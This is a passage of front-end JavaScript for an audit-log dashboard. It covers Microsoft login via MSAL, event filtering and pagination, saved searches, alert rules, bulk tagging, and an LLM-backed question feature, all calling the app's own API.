currentCursor: null,
|
||||||
|
modalOpen: false,
|
||||||
|
modalBody: '',
|
||||||
|
modalEventId: '',
|
||||||
|
modalExplanation: '',
|
||||||
|
modalExplainLoading: false,
|
||||||
|
modalExplainError: '',
|
||||||
|
authBtnText: 'Login',
|
||||||
|
authConfig: null,
|
||||||
|
msalInstance: null,
|
||||||
|
account: null,
|
||||||
|
accessToken: null,
|
||||||
|
authScopes: [],
|
||||||
|
filters: {
|
||||||
|
actor: '', selectedServices: [], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '',
|
||||||
|
},
|
||||||
|
panelState: { sourceHealth: true, alerts: true, rules: true, filters: true, ask: true, events: true },
|
||||||
|
options: { actors: [], services: [], operations: [], results: [] },
|
||||||
|
savedSearches: [],
|
||||||
|
appVersion: '',
|
||||||
|
repoUrl: 'https://git.cqre.net/cqrenet/aoc',
|
||||||
|
docsUrl: 'https://git.cqre.net/cqrenet/aoc/src/branch/main/README.md',
|
||||||
|
aiFeaturesEnabled: true,
|
||||||
|
alertSummary: { total_open: 0, high: 0, medium: 0, low: 0 },
|
||||||
|
alerts: [],
|
||||||
|
alertsTotal: 0,
|
||||||
|
alertsPage: 1,
|
||||||
|
alertsFilter: { status: 'open', severity: '' },
|
||||||
|
rules: [],
|
||||||
|
ruleModalOpen: false,
|
||||||
|
ruleEditId: null,
|
||||||
|
ruleEdit: { name: '', enabled: true, severity: 'medium', message: '', conditions: [] },
|
||||||
|
askQuestionText: '',
|
||||||
|
askLoading: false,
|
||||||
|
askAnswer: '',
|
||||||
|
askAnswerHtml: '',
|
||||||
|
askEvents: [],
|
||||||
|
askLlmUsed: false,
|
||||||
|
askLlmError: '',
|
||||||
|
|
||||||
|
async initApp() {
|
||||||
|
await this.loadVersion();
|
||||||
|
await this.initAuth();
|
||||||
|
this.loadSavedFilters();
|
||||||
|
this.loadPanelState();
|
||||||
|
if (!this.authConfig?.auth_enabled || this.accessToken) {
|
||||||
|
await this.loadFilterOptions();
|
||||||
|
await this.loadSavedSearches();
|
||||||
|
await this.loadSourceHealth();
|
||||||
|
await this.loadAlertSummary();
|
||||||
|
await this.loadAlerts();
|
||||||
|
await this.loadRules();
|
||||||
|
await this.loadEvents();
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
loadSavedFilters() {
|
||||||
|
try {
|
||||||
|
const saved = localStorage.getItem('aoc_filters');
|
||||||
|
if (!saved) return;
|
||||||
|
const parsed = JSON.parse(saved);
|
||||||
|
const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
|
||||||
|
fields.forEach((f) => {
|
||||||
|
if (parsed[f] !== undefined) this.filters[f] = parsed[f];
|
||||||
|
});
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
saveFilters() {
|
||||||
|
try {
|
||||||
|
localStorage.setItem('aoc_filters', JSON.stringify(this.filters));
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
loadPanelState() {
|
||||||
|
try {
|
||||||
|
const saved = localStorage.getItem('aoc_panels');
|
||||||
|
if (saved) {
|
||||||
|
const parsed = JSON.parse(saved);
|
||||||
|
Object.keys(parsed).forEach((k) => { if (this.panelState[k] !== undefined) this.panelState[k] = parsed[k]; });
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
savePanelState() {
|
||||||
|
try {
|
||||||
|
localStorage.setItem('aoc_panels', JSON.stringify(this.panelState));
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
togglePanel(key) {
|
||||||
|
this.panelState[key] = !this.panelState[key];
|
||||||
|
this.savePanelState();
|
||||||
|
},
|
||||||
|
|
||||||
|
async loadVersion() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/version');
|
||||||
|
if (res.ok) {
|
||||||
|
const body = await res.json();
|
||||||
|
this.appVersion = (body.version || '').replace(/^v/, '');
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
authHeader() {
|
||||||
|
return this.accessToken ? { Authorization: `Bearer ${this.accessToken}` } : {};
|
||||||
|
},
|
||||||
|
|
||||||
|
pickToken(res) {
|
||||||
|
if (!res) return null;
|
||||||
|
const clientId = this.authConfig?.client_id;
|
||||||
|
// If accessToken is present and its audience matches our API, use it.
|
||||||
|
if (res.accessToken && clientId) {
|
||||||
|
try {
|
||||||
|
const base64 = res.accessToken.split('.')[1].replace(/-/g, '+').replace(/_/g, '/');
|
||||||
|
const padded = base64.padEnd(base64.length + (4 - base64.length % 4) % 4, '=');
|
||||||
|
const payload = JSON.parse(atob(padded));
|
||||||
|
if (payload.aud === clientId) {
|
||||||
|
return res.accessToken;
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
// Fall back to idToken (always aud=clientId) or accessToken
|
||||||
|
return res.idToken || res.accessToken || null;
|
||||||
|
},
|
||||||
|
|
||||||
|
async initAuth() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/config/auth');
|
||||||
|
if (!res.ok) {
|
||||||
|
console.error('Auth config fetch failed:', res.status, res.statusText);
|
||||||
|
this.authConfig = { auth_enabled: false, _error: res.status };
|
||||||
|
} else {
|
||||||
|
this.authConfig = await res.json();
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Auth config fetch error:', err);
|
||||||
|
this.authConfig = { auth_enabled: false, _error: 'network' };
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const featRes = await fetch('/api/config/features');
|
||||||
|
if (featRes.ok) {
|
||||||
|
const featBody = await featRes.json();
|
||||||
|
this.aiFeaturesEnabled = featBody.ai_features_enabled !== false;
|
||||||
|
if (featBody.default_page_size) {
|
||||||
|
this.filters.limit = featBody.default_page_size;
|
||||||
|
} else {
|
||||||
|
this.filters.limit = 24;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
this.aiFeaturesEnabled = true;
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
this.aiFeaturesEnabled = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!this.authConfig?.auth_enabled) {
|
||||||
|
this.authBtnText = 'Auth: OFF';
|
||||||
|
console.warn('AOC auth is disabled. Set AUTH_ENABLED=true in .env to enable login.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const tenantId = this.authConfig.tenant_id;
|
||||||
|
const clientId = this.authConfig.client_id;
|
||||||
|
if (!clientId || !tenantId) {
|
||||||
|
this.authBtnText = 'Auth: misconfigured';
|
||||||
|
this.statusText = 'Auth is enabled but client_id or tenant_id is missing. Check .env configuration.';
|
||||||
|
console.error('AOC auth misconfigured: missing client_id or tenant_id in /api/config/auth');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (typeof msal === 'undefined' || !msal.PublicClientApplication) {
|
||||||
|
this.statusText = 'Login library failed to load. Please check network or CDN.';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const baseScope = this.authConfig.scope || "";
|
||||||
|
this.authScopes = Array.from(new Set(['openid', 'profile', 'email', ...baseScope.split(/[ ,]+/).filter(Boolean)]));
|
||||||
|
const authority = `https://login.microsoftonline.com/${tenantId}`;
|
||||||
|
const redirectUri = window.location.origin;
|
||||||
|
|
||||||
|
this.msalInstance = new msal.PublicClientApplication({
|
||||||
|
auth: { clientId, authority, redirectUri },
|
||||||
|
cache: { cacheLocation: 'sessionStorage' },
|
||||||
|
});
|
||||||
|
|
||||||
|
const redirectResult = await this.msalInstance.handleRedirectPromise().catch(() => null);
|
||||||
|
if (redirectResult) {
|
||||||
|
this.account = redirectResult.account;
|
||||||
|
this.msalInstance.setActiveAccount(this.account);
|
||||||
|
this.accessToken = this.pickToken(redirectResult);
|
||||||
|
} else {
|
||||||
|
const accounts = this.msalInstance.getAllAccounts();
|
||||||
|
if (accounts.length) {
|
||||||
|
this.account = accounts[0];
|
||||||
|
this.msalInstance.setActiveAccount(this.account);
|
||||||
|
this.accessToken = await this.acquireToken(this.authScopes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
this.updateAuthButtons();
|
||||||
|
},
|
||||||
|
|
||||||
|
async acquireToken(scopes) {
|
||||||
|
if (!this.msalInstance || !this.account) return null;
|
||||||
|
const request = { scopes: scopes && scopes.length ? scopes : ['openid', 'profile', 'email'], account: this.account };
|
||||||
|
try {
|
||||||
|
const res = await this.msalInstance.acquireTokenSilent(request);
|
||||||
|
return this.pickToken(res);
|
||||||
|
} catch {
|
||||||
|
const res = await this.msalInstance.acquireTokenPopup(request);
|
||||||
|
return this.pickToken(res);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
updateAuthButtons() {
|
||||||
|
const loggedIn = !!this.account;
|
||||||
|
if (this.authConfig?.auth_enabled) {
|
||||||
|
this.authBtnText = loggedIn ? 'Logout' : 'Login';
|
||||||
|
}
|
||||||
|
if (loggedIn) {
|
||||||
|
this.acquireToken(this.authScopes).then((t) => { if (t) this.accessToken = t; }).catch(() => {});
|
||||||
|
this.statusText = '';
|
||||||
|
} else if (this.authConfig?.auth_enabled) {
|
||||||
|
this.statusText = 'Please log in to view events.';
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
async toggleAuth() {
|
||||||
|
if (!this.authConfig?.auth_enabled || !this.msalInstance) return;
|
||||||
|
if (this.account) {
|
||||||
|
const acc = this.msalInstance.getActiveAccount();
|
||||||
|
this.accessToken = null;
|
||||||
|
this.account = null;
|
||||||
|
this.updateAuthButtons();
|
||||||
|
if (acc) await this.msalInstance.logoutPopup({ account: acc });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const scopes = this.authScopes && this.authScopes.length ? this.authScopes : ['openid', 'profile', 'email'];
|
||||||
|
this.statusText = 'Redirecting to sign in...';
|
||||||
|
this.msalInstance.loginRedirect({ scopes });
|
||||||
|
},
|
||||||
|
|
||||||
|
async loadEvents(cursor) {
|
||||||
|
this.currentCursor = cursor || null;
|
||||||
|
const params = new URLSearchParams();
|
||||||
|
['actor', 'operation', 'result', 'search'].forEach((key) => {
|
||||||
|
const val = this.filters[key];
|
||||||
|
if (val) params.append(key, val);
|
||||||
|
});
|
||||||
|
if (this.filters.selectedServices && this.filters.selectedServices.length) {
|
||||||
|
this.filters.selectedServices.forEach((s) => params.append('services', s));
|
||||||
|
}
|
||||||
|
if (this.filters.includeTags) {
|
||||||
|
this.filters.includeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('include_tags', t));
|
||||||
|
}
|
||||||
|
if (this.filters.excludeTags) {
|
||||||
|
this.filters.excludeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('exclude_tags', t));
|
||||||
|
}
|
||||||
|
if (this.filters.start) {
|
||||||
|
const d = new Date(this.filters.start);
|
||||||
|
if (!isNaN(d.getTime())) params.append('start', d.toISOString());
|
||||||
|
}
|
||||||
|
if (this.filters.end) {
|
||||||
|
const d = new Date(this.filters.end);
|
||||||
|
if (!isNaN(d.getTime())) params.append('end', d.toISOString());
|
||||||
|
}
|
||||||
|
params.append('page_size', String(this.filters.limit || 50));
|
||||||
|
if (cursor) params.append('cursor', cursor);
|
||||||
|
|
||||||
|
this.statusText = 'Loading events…';
|
||||||
|
this.countText = '';
|
||||||
|
|
||||||
|
if (this.authConfig?.auth_enabled && !this.accessToken) {
|
||||||
|
this.statusText = 'Please sign in to load events.';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/events?${params.toString()}`, { headers: { Accept: 'application/json', ...this.authHeader() } });
|
||||||
|
if (!res.ok) throw new Error(`Request failed: ${res.status} ${await res.text()}`);
|
||||||
|
const body = await res.json();
|
||||||
|
this.events = body.items || [];
|
||||||
|
this.nextCursor = body.next_cursor || null;
|
||||||
|
this.countText = body.total >= 0 ? `${body.total} event${body.total === 1 ? '' : 's'}` : '';
|
||||||
|
this.statusText = this.events.length ? '' : 'No events found for these filters.';
|
||||||
|
this.saveFilters();
|
||||||
|
} catch (err) {
|
||||||
|
this.statusText = err.message || 'Failed to load events.';
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
async fetchLogs() {
|
||||||
|
this.statusText = 'Fetching latest audit logs…';
|
||||||
|
if (this.authConfig?.auth_enabled && !this.accessToken) {
|
||||||
|
this.statusText = 'Please sign in first.';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/fetch-audit-logs', { headers: this.authHeader() });
|
||||||
|
if (!res.ok) throw new Error(`Fetch failed: ${res.status} ${await res.text()}`);
|
||||||
|
const body = await res.json();
|
||||||
|
const errs = Array.isArray(body.errors) && body.errors.length ? `Warnings: ${body.errors.join(' | ')}` : '';
|
||||||
|
this.statusText = `Fetched and stored ${body.stored_events || 0} events.${errs ? ' ' + errs : ''} Refreshing list…`;
|
||||||
|
this.resetPagination();
|
||||||
|
await this.loadEvents();
|
||||||
|
await this.loadSourceHealth();
|
||||||
|
} catch (err) {
|
||||||
|
this.statusText = err.message || 'Failed to fetch audit logs.';
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
async loadFilterOptions() {
|
||||||
|
if (this.authConfig?.auth_enabled && !this.accessToken) return;
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/filter-options', { headers: this.authHeader() });
|
||||||
|
if (!res.ok) return;
|
||||||
|
const opts = await res.json();
|
||||||
|
this.options.actors = (opts.actors || []).slice(0, 200);
|
||||||
|
this.options.services = (opts.services || []).slice(0, 200);
|
||||||
|
this.options.operations = (opts.operations || []).slice(0, 200);
|
||||||
|
this.options.results = (opts.results || []).slice(0, 200);
|
||||||
|
|
||||||
|
const saved = localStorage.getItem('aoc_filters');
|
||||||
|
if (!saved && this.options.services.length) {
|
||||||
|
// Default: show all services (privacy controls handle exclusions server-side)
|
||||||
|
this.filters.selectedServices = [...this.options.services];
|
||||||
|
} else if (saved) {
|
||||||
|
try {
|
||||||
|
const parsed = JSON.parse(saved);
|
||||||
|
if (parsed.selectedServices) {
|
||||||
|
this.filters.selectedServices = parsed.selectedServices.filter((s) => this.options.services.includes(s));
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
async loadSourceHealth() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/source-health', { headers: this.authHeader() });
|
||||||
|
if (!res.ok) return;
|
||||||
|
this.sourceHealth = await res.json();
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
async loadSavedSearches() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/saved-searches', { headers: this.authHeader() });
|
||||||
|
if (!res.ok) return;
|
||||||
|
this.savedSearches = await res.json();
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
async saveCurrentFilters() {
|
||||||
|
const name = prompt('Name this saved filter:');
|
||||||
|
if (!name || !name.trim()) return;
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/saved-searches', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
||||||
|
body: JSON.stringify({ name: name.trim(), filters: { ...this.filters } }),
|
||||||
|
});
|
||||||
|
if (!res.ok) throw new Error(await res.text());
|
||||||
|
const created = await res.json();
|
||||||
|
this.savedSearches.unshift(created);
|
||||||
|
this.statusText = 'Filters saved.';
|
||||||
|
setTimeout(() => { if (this.statusText === 'Filters saved.') this.statusText = ''; }, 2000);
|
||||||
|
} catch (err) {
|
||||||
|
this.statusText = err.message || 'Failed to save filters.';
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
applySavedSearch(ss) {
|
||||||
|
if (!ss || !ss.filters) return;
|
||||||
|
const fields = ['actor', 'selectedServices', 'search', 'operation', 'result', 'start', 'end', 'limit', 'includeTags', 'excludeTags'];
|
||||||
|
fields.forEach((f) => {
|
||||||
|
if (ss.filters[f] !== undefined) this.filters[f] = ss.filters[f];
|
||||||
|
});
|
||||||
|
// Validate selectedServices against current options
|
||||||
|
this.filters.selectedServices = this.filters.selectedServices.filter((s) => this.options.services.includes(s));
|
||||||
|
this.resetPagination();
|
||||||
|
this.loadEvents();
|
||||||
|
},
|
||||||
|
|
||||||
|
async deleteSavedSearch(id) {
|
||||||
|
if (!confirm('Delete this saved search?')) return;
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/saved-searches/${id}`, {
|
||||||
|
method: 'DELETE',
|
||||||
|
headers: this.authHeader(),
|
||||||
|
});
|
||||||
|
if (!res.ok) throw new Error(await res.text());
|
||||||
|
this.savedSearches = this.savedSearches.filter((s) => s.id !== id);
|
||||||
|
} catch (err) {
|
||||||
|
this.statusText = err.message || 'Failed to delete saved search.';
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
resetPagination() {
|
||||||
|
this.cursorStack = [];
|
||||||
|
this.nextCursor = null;
|
||||||
|
this.currentCursor = null;
|
||||||
|
},
|
||||||
|
|
||||||
|
goPrev() {
|
||||||
|
if (this.cursorStack.length) {
|
||||||
|
const prevCursor = this.cursorStack.pop();
|
||||||
|
this.loadEvents(prevCursor);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
goNext() {
|
||||||
|
if (this.nextCursor) {
|
||||||
|
this.cursorStack.push(this.currentCursor);
|
||||||
|
this.loadEvents(this.nextCursor);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
clearFilters() {
|
||||||
|
this.filters = { actor: '', selectedServices: [...this.options.services], search: '', operation: '', result: '', start: '', end: '', limit: 24, includeTags: '', excludeTags: '' };
|
||||||
|
this.saveFilters();
|
||||||
|
this.resetPagination();
|
||||||
|
this.loadEvents();
|
||||||
|
},
|
||||||
|
|
||||||
|
filterByService(service) {
|
||||||
|
if (!service) return;
|
||||||
|
this.filters.selectedServices = [service];
|
||||||
|
this.saveFilters();
|
||||||
|
this.resetPagination();
|
||||||
|
this.loadEvents();
|
||||||
|
},
|
||||||
|
|
||||||
|
filterByResult(result) {
|
||||||
|
if (!result) return;
|
||||||
|
this.filters.result = this.filters.result === result ? '' : result;
|
||||||
|
this.saveFilters();
|
||||||
|
this.resetPagination();
|
||||||
|
this.loadEvents();
|
||||||
|
},
|
||||||
|
|
||||||
|
async loadAlertSummary() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/alerts/summary', { headers: this.authHeader() });
|
||||||
|
if (!res.ok) return;
|
||||||
|
const body = await res.json();
|
||||||
|
this.alertSummary.total_open = body.total_open || 0;
|
||||||
|
const sev = body.by_status_severity || [];
|
||||||
|
this.alertSummary.high = sev.filter((s) => s._id.severity === 'high' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
|
||||||
|
this.alertSummary.medium = sev.filter((s) => s._id.severity === 'medium' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
|
||||||
|
this.alertSummary.low = sev.filter((s) => s._id.severity === 'low' && s._id.status === 'open').reduce((a, b) => a + b.count, 0);
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
async loadAlerts() {
|
||||||
|
try {
|
||||||
|
const params = new URLSearchParams();
|
||||||
|
params.append('page_size', '20');
|
||||||
|
params.append('page', String(this.alertsPage));
|
||||||
|
if (this.alertsFilter.status) params.append('status', this.alertsFilter.status);
|
||||||
|
if (this.alertsFilter.severity) params.append('severity', this.alertsFilter.severity);
|
||||||
|
const res = await fetch(`/api/alerts?${params.toString()}`, { headers: this.authHeader() });
|
||||||
|
if (!res.ok) return;
|
||||||
|
const body = await res.json();
|
||||||
|
this.alerts = body.items || [];
|
||||||
|
this.alertsTotal = body.total || 0;
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
async updateAlertStatus(alertId, status) {
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/alerts/${alertId}/status`, {
|
||||||
|
method: 'PATCH',
|
||||||
|
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
||||||
|
body: JSON.stringify({ status }),
|
||||||
|
});
|
||||||
|
if (res.ok) {
|
||||||
|
await this.loadAlerts();
|
||||||
|
await this.loadAlertSummary();
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
async loadRules() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/rules', { headers: this.authHeader() });
|
||||||
|
if (!res.ok) return;
|
||||||
|
this.rules = await res.json();
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
openRuleEditor(rule) {
|
||||||
|
if (rule) {
|
||||||
|
this.ruleEditId = rule.id;
|
||||||
|
this.ruleEdit = {
|
||||||
|
name: rule.name,
|
||||||
|
enabled: rule.enabled,
|
||||||
|
severity: rule.severity,
|
||||||
|
message: rule.message,
|
||||||
|
conditions: JSON.parse(JSON.stringify(rule.conditions)),
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
this.ruleEditId = null;
|
||||||
|
this.ruleEdit = { name: '', enabled: true, severity: 'medium', message: '', conditions: [] };
|
||||||
|
}
|
||||||
|
this.ruleModalOpen = true;
|
||||||
|
},
|
||||||
|
|
||||||
|
async saveRule() {
|
||||||
|
const payload = { ...this.ruleEdit };
|
||||||
|
try {
|
||||||
|
const url = this.ruleEditId ? `/api/rules/${this.ruleEditId}` : '/api/rules';
|
||||||
|
const method = this.ruleEditId ? 'PUT' : 'POST';
|
||||||
|
const res = await fetch(url, {
|
||||||
|
method,
|
||||||
|
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
||||||
|
body: JSON.stringify(payload),
|
||||||
|
});
|
||||||
|
if (!res.ok) throw new Error(await res.text());
|
||||||
|
this.ruleModalOpen = false;
|
||||||
|
await this.loadRules();
|
||||||
|
} catch (err) {
|
||||||
|
alert('Failed to save rule: ' + err.message);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
async toggleRule(ruleId, enabled) {
|
||||||
|
try {
|
||||||
|
const rule = this.rules.find((r) => r.id === ruleId);
|
||||||
|
if (!rule) return;
|
||||||
|
const res = await fetch(`/api/rules/${ruleId}`, {
|
||||||
|
method: 'PUT',
|
||||||
|
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
||||||
|
body: JSON.stringify({ ...rule, enabled }),
|
||||||
|
});
|
||||||
|
if (res.ok) await this.loadRules();
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
async deleteRule(ruleId) {
|
||||||
|
if (!confirm('Delete this rule?')) return;
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/rules/${ruleId}`, {
|
||||||
|
method: 'DELETE',
|
||||||
|
headers: this.authHeader(),
|
||||||
|
});
|
||||||
|
if (res.ok) await this.loadRules();
|
||||||
|
} catch {}
|
||||||
|
},
|
||||||
|
|
||||||
|
async askQuestion() {
|
||||||
|
const q = this.askQuestionText.trim();
|
||||||
|
if (!q) return;
|
||||||
|
this.askLoading = true;
|
||||||
|
this.askAnswer = '';
|
||||||
|
this.askAnswerHtml = '';
|
||||||
|
this.askEvents = [];
|
||||||
|
this.askLlmError = '';
|
||||||
|
|
||||||
|
const payload = { question: q };
|
||||||
|
if (this.filters.selectedServices && this.filters.selectedServices.length) {
|
||||||
|
payload.services = this.filters.selectedServices;
|
||||||
|
}
|
||||||
|
if (this.filters.actor) payload.actor = this.filters.actor;
|
||||||
|
if (this.filters.operation) payload.operation = this.filters.operation;
|
||||||
|
if (this.filters.result) payload.result = this.filters.result;
|
||||||
|
if (this.filters.start) payload.start = new Date(this.filters.start).toISOString();
|
||||||
|
if (this.filters.end) payload.end = new Date(this.filters.end).toISOString();
|
||||||
|
if (this.filters.includeTags) {
|
||||||
|
payload.include_tags = this.filters.includeTags.split(/[,;]+/).map(t => t.trim()).filter(Boolean);
|
||||||
|
}
|
||||||
|
if (this.filters.excludeTags) {
|
||||||
|
payload.exclude_tags = this.filters.excludeTags.split(/[,;]+/).map(t => t.trim()).filter(Boolean);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/ask', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
||||||
|
body: JSON.stringify(payload),
|
||||||
|
});
|
||||||
|
if (!res.ok) throw new Error(await res.text());
|
||||||
|
const body = await res.json();
|
||||||
|
this.askAnswer = body.answer;
|
||||||
|
this.askAnswerHtml = this._mdToHtml(body.answer);
|
||||||
|
this.askEvents = body.events || [];
|
||||||
|
this.askLlmUsed = body.llm_used;
|
||||||
|
this.askLlmError = body.llm_error || '';
|
||||||
|
} catch (err) {
|
||||||
|
this.askAnswer = 'Sorry, something went wrong: ' + (err.message || 'Unknown error');
|
||||||
|
this.askAnswerHtml = this.askAnswer;
|
||||||
|
} finally {
|
||||||
|
this.askLoading = false;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
clearAsk() {
|
||||||
|
this.askQuestionText = '';
|
||||||
|
this.askAnswer = '';
|
||||||
|
this.askAnswerHtml = '';
|
||||||
|
this.askEvents = [];
|
||||||
|
this.askLlmUsed = false;
|
||||||
|
this.askLlmError = '';
|
||||||
|
},
|
||||||
|
|
||||||
|
_mdToHtml(text) {
|
||||||
|
// Very lightweight markdown-to-HTML for LLM answers
|
||||||
|
return text
|
||||||
|
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>')
|
||||||
|
.replace(/\*\*(.+?)\*\*/g, '<strong>$1</strong>')
|
||||||
|
.replace(/\*(.+?)\*/g, '<em>$1</em>')
|
||||||
|
.replace(/`([^`]+)`/g, '<code>$1</code>')
|
||||||
|
.replace(/Event #(\d+)/g, '<strong>Event #$1</strong>')
|
||||||
|
.replace(/\n/g, '<br>');
|
||||||
|
},
|
||||||
|
|
||||||
|
hasActiveFilters() {
|
||||||
|
return this.filters.actor || this.filters.operation || this.filters.result ||
|
||||||
|
this.filters.start || this.filters.end || this.filters.includeTags ||
|
||||||
|
this.filters.excludeTags ||
|
||||||
|
(this.filters.selectedServices && this.filters.selectedServices.length &&
|
||||||
|
this.filters.selectedServices.length < this.options.services.length);
|
||||||
|
},
|
||||||
|
|
||||||
|
activeFilterSummary() {
|
||||||
|
const parts = [];
|
||||||
|
if (this.filters.actor) parts.push('actor');
|
||||||
|
if (this.filters.operation) parts.push('action');
|
||||||
|
if (this.filters.result) parts.push('result');
|
||||||
|
if (this.filters.start || this.filters.end) parts.push('time');
|
||||||
|
if (this.filters.includeTags || this.filters.excludeTags) parts.push('tags');
|
||||||
|
const svcCount = this.filters.selectedServices?.length || 0;
|
||||||
|
const allCount = this.options.services?.length || 0;
|
||||||
|
if (svcCount && svcCount < allCount) parts.push(`${svcCount} service${svcCount === 1 ? '' : 's'}`);
|
||||||
|
return parts.join(', ') || 'none';
|
||||||
|
},
|
||||||
|
|
||||||
|
async bulkTagMatching() {
|
||||||
|
const tag = prompt('Enter tag to apply to all matching events:');
|
||||||
|
if (!tag || !tag.trim()) return;
|
||||||
|
const mode = confirm('Click OK to REPLACE existing tags.\nClick Cancel to APPEND the new tag.') ? 'replace' : 'append';
|
||||||
|
const params = new URLSearchParams();
|
||||||
|
['actor', 'operation', 'result', 'search'].forEach((key) => {
|
||||||
|
const val = this.filters[key];
|
||||||
|
if (val) params.append(key, val);
|
||||||
|
});
|
||||||
|
if (this.filters.selectedServices && this.filters.selectedServices.length) {
|
||||||
|
this.filters.selectedServices.forEach((s) => params.append('services', s));
|
||||||
|
}
|
||||||
|
if (this.filters.includeTags) {
|
||||||
|
this.filters.includeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('include_tags', t));
|
||||||
|
}
|
||||||
|
if (this.filters.excludeTags) {
|
||||||
|
this.filters.excludeTags.split(/[,;]+/).map((t) => t.trim()).filter(Boolean).forEach((t) => params.append('exclude_tags', t));
|
||||||
|
}
|
||||||
|
if (this.filters.start) {
|
||||||
|
const d = new Date(this.filters.start);
|
||||||
|
if (!isNaN(d.getTime())) params.append('start', d.toISOString());
|
||||||
|
}
|
||||||
|
if (this.filters.end) {
|
||||||
|
const d = new Date(this.filters.end);
|
||||||
|
if (!isNaN(d.getTime())) params.append('end', d.toISOString());
|
||||||
|
}
|
||||||
|
this.statusText = 'Applying bulk tag…';
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/events/bulk-tags?${params.toString()}`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json', ...this.authHeader() },
|
||||||
|
body: JSON.stringify({ tags: [tag.trim()], mode }),
|
||||||
|
});
|
||||||
|
if (!res.ok) throw new Error(await res.text());
|
||||||
|
const body = await res.json();
|
||||||
|
this.statusText = `Tagged ${body.matched} events (${body.modified} modified).`;
|
||||||
|
await this.loadEvents();
|
||||||
|
} catch (err) {
|
||||||
|
this.statusText = err.message || 'Failed to apply bulk tag.';
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
displayActor(e) {
|
||||||
|
const app = e.actor?.application || e.actor?.app;
|
||||||
|
if (app?.displayName) return app.displayName;
|
||||||
|
return e.actor_display ||
|
||||||
|
(e.actor_resolved?.name) ||
|
||||||
|
(e.actor?.user?.displayName && e.actor?.user?.userPrincipalName && e.actor?.user?.displayName !== e.actor?.user?.userPrincipalName
|
||||||
|
? `${e.actor.user.displayName} (${e.actor.user.userPrincipalName})`
|
||||||
|
: (e.actor?.user?.displayName || e.actor?.user?.userPrincipalName)) ||
|
||||||
